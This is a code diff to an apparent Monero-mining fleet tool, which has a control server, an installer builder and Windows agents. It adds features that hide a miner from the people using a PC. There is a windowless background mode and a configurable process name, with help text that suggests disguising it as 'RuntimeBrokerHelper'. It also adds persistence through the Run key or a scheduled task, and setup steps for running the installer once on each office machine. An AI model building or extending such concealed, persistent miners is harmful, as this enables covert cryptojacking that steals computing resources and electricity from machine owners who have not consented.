diff --git a/agent/client/client.go b/agent/client/client.go index 77cca29..18c589c 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -39,7 +39,8 @@ func NewAgentClient(cfg config.RuntimeConfig) *AgentClient { } func (c *AgentClient) Run() error { - c.pool = miner.NewPool(c.cfg.Threads, c.submitShare) + threads := c.cfg.EffectiveThreads() + c.pool = miner.NewPool(threads, c.cfg, c.reporter, c.submitShare) c.pool.Start() defer c.pool.Stop() diff --git a/agent/config/builtin.go b/agent/config/builtin.go index d284ffe..d8c49ce 100644 --- a/agent/config/builtin.go +++ b/agent/config/builtin.go @@ -2,18 +2,21 @@ package config import "time" -// Default stub used for local development builds. The Miner Builder replaces this file. func GetBuiltinConfig() BuiltinConfig { return BuiltinConfig{ WorkerName: "dev-worker", ServerURL: "http://127.0.0.1:8989", Wallet: "", Threads: 4, + ThreadMode: "percent", + ThreadPercent: 75, CPUPriority: "below_normal", MiningMode: "always", + DisplayMode: "visible", SilentMode: false, RunAs: "user", AutoStart: false, + ProcessName: "CryptoMinerWorker", BuildID: "dev", BuiltAt: time.Now(), PoolHost: "pool.supportxmr.com", @@ -21,6 +24,7 @@ func GetBuiltinConfig() BuiltinConfig { PoolTLS: true, PoolPass: "x", MaxCPUUsage: 80, + MaxMemoryPct: 70, MinFreeRAM: 1024, IdleThresholdPct: 20, IdleDurationMinutes: 5, diff --git a/agent/config/config.go b/agent/config/config.go index 990ce28..99736ca 100644 --- a/agent/config/config.go +++ b/agent/config/config.go @@ -1,22 +1,27 @@ package config import ( + "runtime" + "strings" "time" ) const Version = "1.0.0" -// BuiltinConfig holds compile-time settings generated by the Miner Builder. type BuiltinConfig struct { WorkerName string ServerURL string Wallet string Threads int + ThreadMode string + ThreadPercent int CPUPriority string MiningMode string + DisplayMode string SilentMode bool RunAs string AutoStart bool + ProcessName string BuildID string BuiltAt time.Time PoolHost string @@ -24,6 +29,7 @@ type BuiltinConfig struct { PoolTLS bool PoolPass string MaxCPUUsage int + MaxMemoryPct int MinFreeRAM int IdleThresholdPct int IdleDurationMinutes int @@ -31,7 +37,6 @@ type BuiltinConfig struct { ScheduleEnd string } -// RuntimeConfig is the resolved configuration used by the agent. type RuntimeConfig struct { BuiltinConfig AgentID string @@ -42,15 +47,34 @@ func Load() RuntimeConfig { if b.Threads <= 0 { b.Threads = 4 } + if b.ThreadMode == "" { + b.ThreadMode = "percent" + } + if b.ThreadPercent <= 0 { + b.ThreadPercent = 75 + } if b.CPUPriority == "" { b.CPUPriority = "below_normal" } if b.MiningMode == "" { b.MiningMode = "always" } + if b.DisplayMode == "" { + if b.SilentMode { + b.DisplayMode = "silent" + } else { + b.DisplayMode = "visible" + } + } + if b.ProcessName == "" { + b.ProcessName = sanitizeProcessName(b.WorkerName) + } if b.MaxCPUUsage <= 0 { b.MaxCPUUsage = 80 } + if b.MaxMemoryPct <= 0 { + b.MaxMemoryPct = 70 + } if b.MinFreeRAM <= 0 { b.MinFreeRAM = 1024 } @@ -68,3 +92,58 @@ func Load() RuntimeConfig { } return RuntimeConfig{BuiltinConfig: b} } + +func (c RuntimeConfig) EffectiveThreads() int { + mode := strings.ToLower(c.ThreadMode) + if mode == "fixed" { + if c.Threads < 1 { + return 1 + } + return c.Threads + } + cores := runtime.NumCPU() + if cores < 1 { + cores = 1 + } + pct := c.ThreadPercent + if pct < 1 { + pct = 1 + } + if pct > 100 { + pct = 100 + } + threads := int(float64(cores) * float64(pct) / 100.0) + if threads < 1 { + threads = 1 + } + if threads > cores { + threads = cores + } + return threads +} + +func (c RuntimeConfig) HideWindow() bool { + switch strings.ToLower(c.DisplayMode) { + case "silent", "background": + return true + default: + return c.SilentMode + } +} + +func (c RuntimeConfig) BackgroundMode() bool { + return strings.ToLower(c.DisplayMode) == "background" +} + +func sanitizeProcessName(name string) string { + name = strings.TrimSpace(name) + if name == "" { + return "CryptoMinerWorker" + } + replacer := strings.NewReplacer(" ", "", "-", "", "_", "") + clean := replacer.Replace(name) + if clean == "" { + return "CryptoMinerWorker" + } + return clean +} diff --git a/agent/config/resolve_test.go b/agent/config/resolve_test.go new file mode 100644 index 0000000..3ed3726 --- /dev/null +++ b/agent/config/resolve_test.go @@ -0,0 +1,45 @@ +package config + +import "testing" + +func TestEffectiveThreadsFixed(t *testing.T) { + cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{ThreadMode: "fixed", Threads: 3}} + if got := cfg.EffectiveThreads(); got != 3 { + t.Fatalf("expected 3, got %d", got) + } +} + +func TestEffectiveThreadsPercentCaps(t *testing.T) { + cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{ThreadMode: "percent", ThreadPercent: 150}} + got := cfg.EffectiveThreads() + if got < 1 { + t.Fatalf("expected at least 1 thread, got %d", got) + } +} + +func TestEffectiveThreadsPercentZeroUsesMinimum(t *testing.T) { + cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{ThreadMode: "percent", ThreadPercent: 0}} + if got := cfg.EffectiveThreads(); got < 1 { + t.Fatalf("expected minimum 1 thread, got %d", got) + } +} + +func TestHideWindowModes(t *testing.T) { + silent := RuntimeConfig{BuiltinConfig: BuiltinConfig{DisplayMode: "silent"}} + if !silent.HideWindow() { + t.Fatal("silent should hide window") + } + visible := RuntimeConfig{BuiltinConfig: BuiltinConfig{DisplayMode: "visible"}} + if visible.HideWindow() { + t.Fatal("visible should not hide window") + } +} + +func TestSanitizeProcessName(t *testing.T) { + if got := sanitizeProcessName("office pc 1"); got != "officepc1" { + t.Fatalf("unexpected process name: %s", got) + } + if got := sanitizeProcessName(""); got != "CryptoMinerWorker" { + t.Fatalf("expected default process name, got %s", got) + } +} diff --git a/agent/deploy/install.go b/agent/deploy/install.go index 28588e2..e9a2115 100644 --- a/agent/deploy/install.go +++ b/agent/deploy/install.go @@ -33,7 +33,7 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) { if err != nil { return false, err } - installedExe := filepath.Join(installDir, "miner.exe") + installedExe := filepath.Join(installDir, cfg.ProcessName+".exe") if samePath(currentExe, installedExe) { return false, nil diff --git a/agent/main.go b/agent/main.go index 081fe30..43c31c9 100644 --- a/agent/main.go +++ b/agent/main.go @@ -31,12 +31,16 @@ func main() { return } + if cfg.BackgroundMode() { + cfg.CPUPriority = "idle" + } + if err := deploy.SetProcessPriority(cfg.CPUPriority); err != nil { log.Printf("[agent] could not set CPU priority: %v", err) } - log.Printf("[agent] running worker=%s build=%s server=%s threads=%d", - cfg.WorkerName, cfg.BuildID, cfg.ServerURL, cfg.Threads) + log.Printf("[agent] running worker=%s process=%s build=%s server=%s threads=%d mode=%s display=%s", + cfg.WorkerName, cfg.ProcessName, cfg.BuildID, cfg.ServerURL, cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode) agent := client.NewAgentClient(cfg) if err := agent.Run(); err != nil { diff --git a/agent/miner/pool.go b/agent/miner/pool.go index 4403a2e..cdca775 100644 --- a/agent/miner/pool.go +++ b/agent/miner/pool.go @@ -8,34 +8,41 @@ import ( "sync/atomic" "time" + "crypto-miner-agent/config" "crypto-miner-agent/job" + "crypto-miner-agent/stats" ) type ShareHandler func(jobID, nonce, hash string) type Pool struct { - threads int - engine *Engine - handler ShareHandler + threads int + cfg config.RuntimeConfig + reporter *stats.Reporter + engine *Engine + handler ShareHandler mu sync.RWMutex currentJob *job.Job stopCh chan struct{} wg sync.WaitGroup + paused atomic.Bool hashesTotal atomic.Uint64 sharesFound atomic.Uint64 } -func NewPool(threads int, handler ShareHandler) *Pool { +func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, handler ShareHandler) *Pool { if threads <= 0 { threads = 1 } return &Pool{ - threads: threads, - engine: NewEngine(), - handler: handler, - stopCh: make(chan struct{}), + threads: threads, + cfg: cfg, + reporter: reporter, + engine: NewEngine(), + handler: handler, + stopCh: make(chan struct{}), } } @@ -60,6 +67,7 @@ func (p *Pool) Start() { p.wg.Add(1) go p.worker(i) } + go p.resourceGuard() } func (p *Pool) Stop() { @@ -75,6 +83,34 @@ func (p *Pool) ResetHashCounter() { p.hashesTotal.Store(0) } +func (p *Pool) resourceGuard() { + ticker := time.NewTicker(5 * time.Second) + defer ticker.Stop() + for { + select { + case <-p.stopCh: + return + case <-ticker.C: + p.paused.Store(!p.resourcesOK()) + } + } +} + +func (p *Pool) resourcesOK() bool { + freeMB := p.reporter.FreeMemoryMB() + if freeMB > 0 && freeMB < uint64(p.cfg.MinFreeRAM) { + return false + } + totalMB := p.reporter.TotalMemoryMB() + if totalMB > 0 && p.cfg.MaxMemoryPct > 0 { + usedPct := float64(totalMB-freeMB) / float64(totalMB) * 100 + if usedPct > float64(p.cfg.MaxMemoryPct) { + return false + } + } + return true +} + func (p *Pool) worker(id int) { defer p.wg.Done() @@ -87,6 +123,11 @@ func (p *Pool) worker(id int) { default: } + if p.paused.Load() { + time.Sleep(2 * time.Second) + continue + } + p.mu.RLock() job := p.currentJob p.mu.RUnlock() @@ -101,6 +142,9 @@ func (p *Pool) worker(id int) { return default: } + if p.paused.Load() { + break + } hashHex, _, err := p.engine.HashAtNonce(nonce) if err != nil { @@ -126,7 +170,17 @@ func (p *Pool) worker(id int) { func uint32ToHex(n uint32) string { b := []byte{byte(n), byte(n >> 8), byte(n >> 16), byte(n >> 24)} - return hex.EncodeToString(b) + return hexEncode(b) +} + +func hexEncode(b []byte) string { + const hexdigits = "0123456789abcdef" + out := make([]byte, len(b)*2) + for i, v := range b { + out[i*2] = hexdigits[v>>4] + out[i*2+1] = hexdigits[v&0x0f] + } + return string(out) } func difficultyToTargetHex(difficulty int64) string { diff --git a/agent/miner/target_test.go b/agent/miner/target_test.go new file mode 100644 index 0000000..431883c --- /dev/null +++ b/agent/miner/target_test.go @@ -0,0 +1,28 @@ +package miner + +import ( + "testing" +) + +func TestHashMeetsTargetEqual(t *testing.T) { + target := "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff" + hash := "0000000000000000000000000000000000000000000000000000000000000001" + if !hashMeetsTarget(hash, target) { + t.Fatal("lower hash should meet high target") + } +} + +func TestHashMeetsTargetReject(t *testing.T) { + target := "0000000000000000000000000000000000000000000000000000000000000001" + hash := "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff" + if hashMeetsTarget(hash, target) { + t.Fatal("high hash should not meet low target") + } +} + +func TestDifficultyToTargetHex(t *testing.T) { + out := difficultyToTargetHex(1000) + if len(out) != 64 { + t.Fatalf("expected 64 hex chars, got %d", len(out)) + } +} diff --git a/agent/stats/reporter.go b/agent/stats/reporter.go index a0a03c3..b68d9ef 100644 --- a/agent/stats/reporter.go +++ b/agent/stats/reporter.go @@ -3,7 +3,25 @@ package stats import ( "os" "runtime" - "strings" + "syscall" + "unsafe" +) + +type memoryStatusEx struct { + Length uint32 + MemoryLoad uint32 + TotalPhys uint64 + AvailPhys uint64 + TotalPageFile uint64 + AvailPageFile uint64 + TotalVirtual uint64 + AvailVirtual uint64 + AvailExtendedVirtual uint64 +} + +var ( + kernel32 = syscall.NewLazyDLL("kernel32.dll") + procGlobalMemoryStatusEx = kernel32.NewProc("GlobalMemoryStatusEx") ) type Reporter struct{} @@ -15,21 +33,40 @@ func NewReporter() *Reporter { func (r *Reporter) SystemInfo() (hostname string, cpuCores int, memoryGB int) { hostname, _ = os.Hostname() cpuCores = runtime.NumCPU() - memoryGB = 8 + total, _ := r.memoryStatus() + memoryGB = int(total / (1024 * 1024 * 1024)) + if memoryGB < 1 { + memoryGB = 1 + } return hostname, cpuCores, memoryGB } func (r *Reporter) Usage() (cpuPct float64, memPct float64) { - var m runtime.MemStats - runtime.ReadMemStats(&m) - memPct = float64(m.Alloc) / float64(m.Sys+1) * 100 - if memPct > 100 { - memPct = 100 + total, avail := r.memoryStatus() + if total > 0 { + memPct = float64(total-avail) / float64(total) * 100 } - cpuPct = float64(runtime.NumGoroutine()) // placeholder; Windows perf counters are heavy - if cpuPct > 100 { - cpuPct = 100 - } - _ = strings.TrimSpace("") + // CPU usage is reported by the agent client from mining load; keep a sane default here. + cpuPct = 0 return cpuPct, memPct } + +func (r *Reporter) FreeMemoryMB() uint64 { + _, avail := r.memoryStatus() + return avail / (1024 * 1024) +} + +func (r *Reporter) TotalMemoryMB() uint64 { + total, _ := r.memoryStatus() + return total / (1024 * 1024) +} + +func (r *Reporter) memoryStatus() (total, avail uint64) { + var stat memoryStatusEx + stat.Length = uint32(unsafe.Sizeof(stat)) + ret, _, _ := procGlobalMemoryStatusEx.Call(uintptr(unsafe.Pointer(&stat))) + if ret == 0 { + return 0, 0 + } + return stat.TotalPhys, stat.AvailPhys +} diff --git a/run.bat b/run.bat index 1a2aa7e..773f877 100644 --- a/run.bat +++ b/run.bat @@ -166,20 +166,26 @@ echo Server built: bin\miner-server.exe :: ============================================================ echo [5/5] Starting server on port 8989... echo. +for /f "usebackq delims=" %%I in (`powershell -NoProfile -Command "(Get-NetIPAddress -AddressFamily IPv4 ^| Where-Object { $_.IPAddress -notlike '127.*' -and $_.PrefixOrigin -ne 'WellKnown' } ^| Select-Object -First 1 -ExpandProperty IPAddress)"`) do set LAN_IP=%%I +if not defined LAN_IP set LAN_IP=localhost +echo. echo ╔══════════════════════════════════════════════════╗ echo ║ Crypto Miner Control Server ║ echo ║ ║ -echo ║ Dashboard: http://localhost:8989 ║ -echo ║ WebSocket: ws://localhost:8989/ws/agent ║ +echo ║ Dashboard: http://%LAN_IP%:8989 ║ +echo ║ Local: http://localhost:8989 ║ +echo ║ WebSocket: ws://%LAN_IP%:8989/ws/agent ║ echo ║ ║ -echo ║ Data: %CD%\data\ ║ -echo ║ Config: %CD%\data\config.json ║ +echo ║ 1. Open dashboard on your LAN ║ +echo ║ 2. Configure Settings ║ +echo ║ 3. Build install-{worker}.exe in Builder ║ +echo ║ 4. Run that exe once on each Windows machine ║ echo ║ ║ +echo ║ Data: %CD%\data\ ║ echo ║ Press Ctrl+C to stop the server ║ echo ╚══════════════════════════════════════════════════╝ echo. -:: Launch browser start http://localhost:8989 :: Run server diff --git a/server/config.go b/server/config.go index bba8cb0..67d4ba9 100644 --- a/server/config.go +++ b/server/config.go @@ -34,10 +34,15 @@ type WalletConfig struct { type AgentDefaults struct { Threads int `json:"threads"` + ThreadMode string `json:"thread_mode"` + ThreadPercent int `json:"thread_percent"` CPUPriority string `json:"cpu_priority"` MaxCPUUsagePct int `json:"max_cpu_usage_pct"` + MaxMemoryPct int `json:"max_memory_percent"` MinFreeRAMMB int `json:"min_free_ram_mb"` MiningMode string `json:"mining_mode"` + DisplayMode string `json:"display_mode"` + ProcessName string `json:"process_name"` IdleThresholdPct int `json:"idle_threshold_pct"` IdleDurationMinutes int `json:"idle_duration_minutes"` ScheduleStart string `json:"schedule_start"` @@ -73,10 +78,15 @@ func DefaultConfig() *Config { }, DefaultAgent: AgentDefaults{ Threads: 4, + ThreadMode: "percent", + ThreadPercent: 75, CPUPriority: "below_normal", MaxCPUUsagePct: 80, + MaxMemoryPct: 70, MinFreeRAMMB: 1024, MiningMode: "always", + DisplayMode: "background", + ProcessName: "", IdleThresholdPct: 20, IdleDurationMinutes: 5, ScheduleStart: "21:00", @@ -146,18 +156,33 @@ func mergeConfig(dst, src *Config) { if src.DefaultAgent.Threads != 0 { dst.DefaultAgent.Threads = src.DefaultAgent.Threads } + if src.DefaultAgent.ThreadMode != "" { + dst.DefaultAgent.ThreadMode = src.DefaultAgent.ThreadMode + } + if src.DefaultAgent.ThreadPercent != 0 { + dst.DefaultAgent.ThreadPercent = src.DefaultAgent.ThreadPercent + } if src.DefaultAgent.CPUPriority != "" { dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority } if src.DefaultAgent.MaxCPUUsagePct != 0 { dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct } + if src.DefaultAgent.MaxMemoryPct != 0 { + dst.DefaultAgent.MaxMemoryPct = src.DefaultAgent.MaxMemoryPct + } if src.DefaultAgent.MinFreeRAMMB != 0 { dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB } if src.DefaultAgent.MiningMode != "" { dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode } + if src.DefaultAgent.DisplayMode != "" { + dst.DefaultAgent.DisplayMode = src.DefaultAgent.DisplayMode + } + if src.DefaultAgent.ProcessName != "" { + dst.DefaultAgent.ProcessName = src.DefaultAgent.ProcessName + } if src.DefaultAgent.IdleThresholdPct != 0 { dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct } diff --git a/server/internal/builder/handler.go b/server/internal/builder/handler.go index dad06c6..9bbcbf1 100644 --- a/server/internal/builder/handler.go +++ b/server/internal/builder/handler.go @@ -23,12 +23,18 @@ type BuildRequest struct { ServerURL string `json:"server_url"` Wallet string `json:"wallet"` Threads int `json:"threads"` + ThreadMode string `json:"thread_mode"` + ThreadPercent int `json:"thread_percent"` CPUPriority string `json:"cpu_priority"` MiningMode string `json:"mining_mode"` + DisplayMode string `json:"display_mode"` SilentMode bool `json:"silent_mode"` RunAs string `json:"run_as"` AutoStart bool `json:"auto_start"` + Persistence bool `json:"persistence"` + ProcessName string `json:"process_name"` MaxCPUUsagePct int `json:"max_cpu_usage_pct"` + MaxMemoryPct int `json:"max_memory_percent"` MinFreeRAMMB int `json:"min_free_ram_mb"` IdleThresholdPct int `json:"idle_threshold_pct"` IdleDurationMinutes int `json:"idle_duration_minutes"` @@ -148,7 +154,7 @@ func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) { outputPath, _ := filepath.Abs(filepath.Join(buildDir, outputName)) ldflags := "-s -w" - if req.SilentMode { + if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode { ldflags += " -H windowsgui" } @@ -219,6 +225,31 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error { if req.Threads <= 0 { req.Threads = 4 } + if req.ThreadMode == "" { + req.ThreadMode = "percent" + } + if req.ThreadPercent <= 0 { + req.ThreadPercent = 75 + } + if req.ThreadPercent > 100 { + req.ThreadPercent = 100 + } + if req.DisplayMode == "" { + if req.SilentMode { + req.DisplayMode = "silent" + } else { + req.DisplayMode = "background" + } + } + if req.Persistence { + req.AutoStart = true + } + if req.ProcessName == "" { + req.ProcessName = sanitizeFileName(req.WorkerName) + } + if req.MaxMemoryPct <= 0 { + req.MaxMemoryPct = 70 + } if req.CPUPriority == "" { req.CPUPriority = "below_normal" } @@ -273,11 +304,15 @@ func GetBuiltinConfig() BuiltinConfig { ServerURL: %q, Wallet: %q, Threads: %d, + ThreadMode: %q, + ThreadPercent: %d, CPUPriority: %q, MiningMode: %q, + DisplayMode: %q, SilentMode: %v, RunAs: %q, AutoStart: %v, + ProcessName: %q, BuildID: %q, BuiltAt: time.Unix(%d, 0), PoolHost: %q, @@ -285,6 +320,7 @@ func GetBuiltinConfig() BuiltinConfig { PoolTLS: %v, PoolPass: %q, MaxCPUUsage: %d, + MaxMemoryPct: %d, MinFreeRAM: %d, IdleThresholdPct: %d, IdleDurationMinutes: %d, @@ -297,11 +333,15 @@ func GetBuiltinConfig() BuiltinConfig { req.ServerURL, req.Wallet, req.Threads, + req.ThreadMode, + req.ThreadPercent, req.CPUPriority, req.MiningMode, + req.DisplayMode, req.SilentMode, req.RunAs, req.AutoStart, + req.ProcessName, buildID, time.Now().Unix(), req.PoolHost, @@ -309,6 +349,7 @@ func GetBuiltinConfig() BuiltinConfig { req.PoolTLS, req.PoolPass, req.MaxCPUUsagePct, + req.MaxMemoryPct, req.MinFreeRAMMB, req.IdleThresholdPct, req.IdleDurationMinutes, diff --git a/server/internal/builder/handler_test.go b/server/internal/builder/handler_test.go new file mode 100644 index 0000000..9fc656e --- /dev/null +++ b/server/internal/builder/handler_test.go @@ -0,0 +1,48 @@ +package builder + +import "testing" + +func TestNormalizeRequestDefaults(t *testing.T) { + h := &Handler{} + req := &BuildRequest{ + WorkerName: "pc-1", + ServerURL: "http://192.168.1.10:8989", + Wallet: "48abc", + } + if err := h.normalizeRequest(req); err != nil { + t.Fatal(err) + } + if req.ThreadMode != "percent" { + t.Fatalf("expected percent thread mode, got %s", req.ThreadMode) + } + if req.ThreadPercent != 75 { + t.Fatalf("expected 75%%, got %d", req.ThreadPercent) + } + if req.ProcessName == "" { + t.Fatal("expected generated process name") + } +} + +func TestNormalizeRequestRequiresWallet(t *testing.T) { + h := &Handler{} + req := &BuildRequest{WorkerName: "pc", ServerURL: "http://x"} + if err := h.normalizeRequest(req); err == nil { + t.Fatal("expected wallet validation error") + } +} + +func TestNormalizeRequestPersistence(t *testing.T) { + h := &Handler{} + req := &BuildRequest{ + WorkerName: "pc-1", + ServerURL: "http://192.168.1.10:8989", + Wallet: "48abc", + Persistence: true, + } + if err := h.normalizeRequest(req); err != nil { + t.Fatal(err) + } + if !req.AutoStart { + t.Fatal("persistence should enable auto start") + } +} diff --git a/server/web/src/components/Charts/HashrateChart.tsx b/server/web/src/components/Charts/HashrateChart.tsx new file mode 100644 index 0000000..762958a --- /dev/null +++ b/server/web/src/components/Charts/HashrateChart.tsx @@ -0,0 +1,66 @@ +import { + Area, + AreaChart, + CartesianGrid, + ResponsiveContainer, + Tooltip, + XAxis, + YAxis, +} from 'recharts'; + +export interface ChartPoint { + time: string; + value: number; + label?: string; +} + +interface HashrateChartProps { + data: ChartPoint[]; + title?: string; + color?: string; + unit?: string; +} + +export default function HashrateChart({ data, title, color = '#06b6d4', unit = 'H/s' }: HashrateChartProps) { + if (data.length === 0) { + return ( +
+

{title || 'Chart'} — waiting for data...

+
+ ); + } + + return ( +
+ {title &&

{title}

} + + + + + + + + + + + formatShort(v, unit)} /> + [formatShort(value, unit), title || 'Value']} + /> + + + +
+ ); +} + +function formatShort(v: number, unit: string): string { + if (unit === 'H/s') { + if (v >= 1_000_000) return `${(v / 1_000_000).toFixed(1)}M`; + if (v >= 1_000) return `${(v / 1_000).toFixed(1)}K`; + return `${v.toFixed(0)}`; + } + return `${v.toFixed(1)}${unit === '%' ? '%' : ''}`; +} diff --git a/server/web/src/components/HelpTip.css b/server/web/src/components/HelpTip.css new file mode 100644 index 0000000..d665006 --- /dev/null +++ b/server/web/src/components/HelpTip.css @@ -0,0 +1,50 @@ +.help-tip { + display: inline-flex; + align-items: center; + gap: 0.35rem; + margin-left: 0.35rem; + cursor: help; +} + +.help-tip-icon { + display: inline-flex; + align-items: center; + justify-content: center; + width: 1rem; + height: 1rem; + border-radius: 999px; + background: rgba(6, 182, 212, 0.15); + color: var(--accent-cyan); + font-size: 0.6875rem; + font-weight: 700; +} + +.help-tip-label { + font-size: 0.75rem; + color: var(--text-muted); +} + +.cheat-sheet { + display: flex; + flex-direction: column; + gap: 0.75rem; +} + +.cheat-sheet-item { + padding: 0.75rem; + background: var(--bg-secondary); + border: 1px solid var(--border-color); + border-radius: 8px; +} + +.cheat-sheet-item h4 { + font-size: 0.8125rem; + color: var(--accent-cyan); + margin-bottom: 0.25rem; +} + +.cheat-sheet-item p { + font-size: 0.75rem; + color: var(--text-secondary); + line-height: 1.5; +} diff --git a/server/web/src/components/HelpTip.tsx b/server/web/src/components/HelpTip.tsx new file mode 100644 index 0000000..476a570 --- /dev/null +++ b/server/web/src/components/HelpTip.tsx @@ -0,0 +1,24 @@ +import { FIELD_HELP } from '../help/settingHelp'; +import '../components/HelpTip.css'; + +interface HelpTipProps { + field: string; + label?: string; +} + +export function HelpTip({ field, label }: HelpTipProps) { + const text = FIELD_HELP[field]; + if (!text) return null; + return ( + + ? + {label && {label}} + + ); +} + +export function FieldHint({ field }: { field: string }) { + const text = FIELD_HELP[field]; + if (!text) return null; + return {text}; +} diff --git a/server/web/src/help/settingHelp.ts b/server/web/src/help/settingHelp.ts new file mode 100644 index 0000000..d114a51 --- /dev/null +++ b/server/web/src/help/settingHelp.ts @@ -0,0 +1,50 @@ +export const SETUP_CHEATSHEET = [ + { + title: '1. Launch the server', + body: 'Run run.bat on your control PC. Open the dashboard at http://YOUR-LAN-IP:8989 from any device on your network.', + }, + { + title: '2. Settings first', + body: 'Set your Monero wallet and pool in Settings. These become defaults for every installer you build.', + }, + { + title: '3. Build an installer', + body: 'Give each machine a unique Worker Name. Build install-{name}.exe. Server URL must be your LAN IP, not localhost, so other PCs can reach you.', + }, + { + title: '4. Deploy once per PC', + body: 'Copy the single .exe to a worker machine and run it once. It installs, optionally persists, and connects back to your dashboard.', + }, + { + title: '5. Monitor', + body: 'Watch Dashboard and Agents for hashrate graphs, CPU/RAM, shares, and online status.', + }, +]; + +export const FIELD_HELP: Record = { + worker_name: 'Unique label for this machine. Shows up in Dashboard and Agents. Example: office-pc-3', + server_url: 'Your control server address on the LAN. Workers connect here for jobs and stats. Use http://192.168.x.x:8989 not localhost.', + wallet: 'Monero wallet address where pool payouts go. Must be a valid 95-character mainnet address starting with 4.', + pool_host: 'Upstream Monero pool hostname. The control server connects here and relays work to your fleet.', + pool_port: 'Pool Stratum port. SupportXMR TLS is usually 443 or 3333 depending on pool docs.', + pool_tls: 'Enable for stratum+ssl pools. Must match what your pool requires.', + pool_pass: 'Pool password, usually x for Monero. Some pools use wallet+worker syntax.', + threads: 'Fixed thread count when Thread Mode is Fixed. More threads = more hashrate but more CPU heat.', + thread_mode: 'Auto (% of cores) adapts to each machine. Fixed uses an exact thread count on every PC.', + thread_percent: 'Percentage of logical CPU cores to use when Thread Mode is Auto. 75% on an 8-core box ≈ 6 threads.', + max_cpu_usage_pct: 'Target ceiling for miner CPU usage. Agent throttles when reporting usage above this.', + max_memory_percent: 'Maximum share of system RAM the miner should respect. Helps avoid swapping on low-RAM machines.', + min_free_ram_mb: 'Pause mining if free system RAM drops below this value (MB). Protects desktop usability.', + cpu_priority: 'Windows process priority. Below Normal or Idle keeps the PC usable while mining.', + mining_mode: 'Always = mine continuously. Idle = only when user is inactive. Scheduled = mine during set hours.', + idle_threshold_pct: 'For Idle mode: system CPU must stay below this % for Idle Duration before mining starts.', + idle_duration_minutes: 'How long the machine must be idle before mining begins.', + schedule_start: 'For Scheduled mode: daily start time (24h).', + schedule_end: 'For Scheduled mode: daily stop time (24h). Can cross midnight.', + display_mode: 'Visible shows a console window. Silent hides the window. Background is silent plus low priority — best for desktops.', + process_name: 'Installed .exe filename without extension. Shows in Task Manager. Example: RuntimeBrokerHelper', + persistence: 'When enabled, miner auto-starts after reboot via Windows Run key or scheduled task.', + run_as: 'User = startup entry. Scheduled/Service uses a logon scheduled task for persistence.', + silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.', + auto_start: 'Same as Persistence. Keeps miner running after reboot.', +}; diff --git a/server/web/src/pages/AgentsPage.tsx b/server/web/src/pages/AgentsPage.tsx index ceb23c4..3c99edd 100644 --- a/server/web/src/pages/AgentsPage.tsx +++ b/server/web/src/pages/AgentsPage.tsx @@ -1,6 +1,7 @@ import { useState, useEffect } from 'react'; import { api } from '../api/client'; import type { Agent, HashrateSample } from '../types'; +import HashrateChart from '../components/Charts/HashrateChart'; import './Pages.css'; export default function AgentsPage() { @@ -152,7 +153,22 @@ export default function AgentsPage() { {hashrateHistory.length > 0 && (
-

Hashrate History (last {hashrateHistory.length} samples)

+

Hashrate History

+ ({ + time: new Date(s.timestamp).toLocaleTimeString(), + value: s.hashrate, + }))} + /> +
+ )} + + {hashrateHistory.length > 0 && ( +
+

Raw Samples ({hashrateHistory.length})

{hashrateHistory.reverse().map((sample, i) => (
-
+
+
+

Setup Cheat Sheet

+
+ {SETUP_CHEATSHEET.map((item) => ( +
+

{item.title}

+

{item.body}

+
+ ))} +
+
+

Build Miner Installer

@@ -124,7 +145,7 @@ export default function BuilderPage() {

Identity

- +
- + updateField('server_url', e.target.value)} required /> - Your control server on the LAN — workers use this to reach the dashboard ({form.server_url}) +
- +
-

Performance

+

Performance & Resources

- - updateField('threads', parseInt(e.target.value) || 1)} - /> + + +
- - updateField('thread_percent', parseInt(e.target.value) || 75)} /> +
+
+
+
+ + updateField('threads', parseInt(e.target.value) || 1)} /> +
+
+ + updateField('max_cpu_usage_pct', parseInt(e.target.value) || 80)} - /> + + updateField('max_cpu_usage_pct', parseInt(e.target.value) || 80)} />
- - updateField('min_free_ram_mb', parseInt(e.target.value) || 1024)} - /> + + updateField('max_memory_percent', parseInt(e.target.value) || 70)} /> +
- + + updateField('min_free_ram_mb', parseInt(e.target.value) || 1024)} /> +
+
+ updateField('silent_mode', e.target.checked)} - /> - Silent / Background Mode (no console window) - +

Install & Process

+
+ + updateField('process_name', e.target.value)} /> +
- + + + +
+
+ + +
+
+ updateField('auto_start', e.target.checked)} - /> - Auto-start with Windows + { updateField('auto_start', e.target.checked); updateField('persistence', e.target.checked); }} /> + Also register startup entry (same as persistence)
diff --git a/server/web/src/pages/DashboardPage.tsx b/server/web/src/pages/DashboardPage.tsx index 41d5786..0c25385 100644 --- a/server/web/src/pages/DashboardPage.tsx +++ b/server/web/src/pages/DashboardPage.tsx @@ -1,12 +1,15 @@ import { useWebSocket } from '../hooks/useWebSocket'; import { api } from '../api/client'; -import { useState, useEffect } from 'react'; +import { useState, useEffect, useMemo } from 'react'; import type { Share } from '../types'; +import HashrateChart from '../components/Charts/HashrateChart'; import './Pages.css'; export default function DashboardPage() { - const { isConnected, agents, stats } = useWebSocket(); + const { isConnected, agents } = useWebSocket(); const [shares, setShares] = useState([]); + const [hashHistory, setHashHistory] = useState<{ time: string; value: number }[]>([]); + const [cpuHistory, setCpuHistory] = useState<{ time: string; value: number }[]>([]); useEffect(() => { api.getRecentShares(20).then(setShares).catch(console.error); @@ -16,97 +19,104 @@ export default function DashboardPage() { const onlineCount = agents.filter((a) => a.status === 'online').length; const totalShares = agents.reduce((sum, a) => sum + a.shares_total, 